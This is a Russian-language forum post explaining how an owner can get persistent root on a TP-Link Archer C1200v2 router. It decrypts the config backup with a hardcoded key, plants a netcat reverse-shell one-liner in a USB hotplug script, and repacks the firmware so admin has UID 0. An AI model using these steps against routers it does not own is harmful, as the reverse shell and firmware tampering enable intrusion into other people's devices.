Получаем root доступ по ssh Archer C1200v2_RU
Эта ветка закрыта для дальнейших ответов. Вы можете создать новую тему, чтобы поделиться своими идеями или задать вопросы.
Получаем root доступ по ssh Archer C1200v2_RU
Приступаем:
1. необходимо получить хотя-бы просто доступ по ssh к роутеру. Для этого сливаем конфигурацию роутера и начинаем ее расковыривать.
У меня есть debian, поэтому им и воспользуюсь.
openssl aes-256-cbc -d -in config.bin -k 'Archer C1200' -md md5 | openssl zlib -d -out config.tar Здесь config.bin это файл слитой конфигурации
Разархивируем полученный config.tar и видим внутри xml файл настроек. В него в секции dropbear, где прописан порт, добавляем строчку <RemoteSSH>on</RemoteSSH>
После обратно запаковываем: openssl zlib -in config.tar | openssl aes-256-cbc -out config.bin -k 'Archer C1200' -md md5
Заливаем конфигурацию в роутер и перезагружаем.
Теперь можно подключиться по ssh. Логин admin, пароль, который у себя настроили
2. Получаем временный root доступ. Необходима утилита nc
Необходимо отредактировать файл /etc/hotplug.d/usb/10-usb , дописать в него после строки "ledcli ${USB}_twinkle" ниже: mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.х.х 12345 > /tmp/f
где 192.168.х.х адрес машины, на которой есть nc. Далее, втыкаем флешку в роутер и запускаем на этой машине nc -l -p 12345 , ждем и получаем временный root.
Чтобы получить постоянный root, необходимо модифицировать файловую систему роутера. Она read-only squashfs. Необходимо ее слить из роутера для потрошения. Для этого временный рут необязателен, достаточно под admin зайти по ssh. Даем команду:
nvrammanager --read=/tmp/fssystem --partition=file-system. После "слития" ФС дадим права на чтение на файл "/tmp/fsystem", а то почему-то файл образуется без каких либо разрешений. Ну и сливаем его на linux машину.
Теперь разбираем этот образ: unsquashfs4 fsystem
Все, перед нами ФС роутера. Я предварительно собрал dropbear 2016.74 с поддержкой shadow. Теперь его необходимо запхать в прошивку и заставить работать:
1. копируем dropbear в /usr/sbin
2. редактируем /etc/init.d/dropbear, а именно необходимо закоментировать строчки после: # H) enable ssh session login и до # execute program and return..
Это необходимо, поскольку данная версия не поддерживает указанные там ключи запуска.
Затем раскоментируем ниже строчку for keytype in rsa dss; do и закоментируем строчку ниже. Все, с этим файлом закончили.
3. Редактируем /etc/passwd
приводим строчку с логином admin к виду: admin:x:0:0:root:/root:/bin/ash
Также я удалил логотип "beta" из веб-интерфейса, а то он глаза конкретно мозолил.
Теперь все это собираем: mksquashfs4 squashfs-root squash.fs -noappend -all-root -comp xz -xattrs
В указанной выше статье почему-то собирали не так, и потом у них роутер не заводился, я не стал экспериментировать, сделал как написал выше, и все завелось. Полученный файл squash.fs заисываем в роутер и прошиваем им раздел: nvrammanager --write=/tmp/squash.fs --partition=file-system
После перегружаем роутер и радуемся постоянному root. Да, заходить по ssh под логином admin, теперь он имеет рут-права. Да, dropbear долго запускается, он около 2-х минут генерит файлы сертификатов, поэтому не удивляйтесь, что когда роутер уже заработает, ssh еще будет недоступен.
Выкладываю файлы, кому надо https://cloud.mail.ru/public/22hT/5DZ1JWctS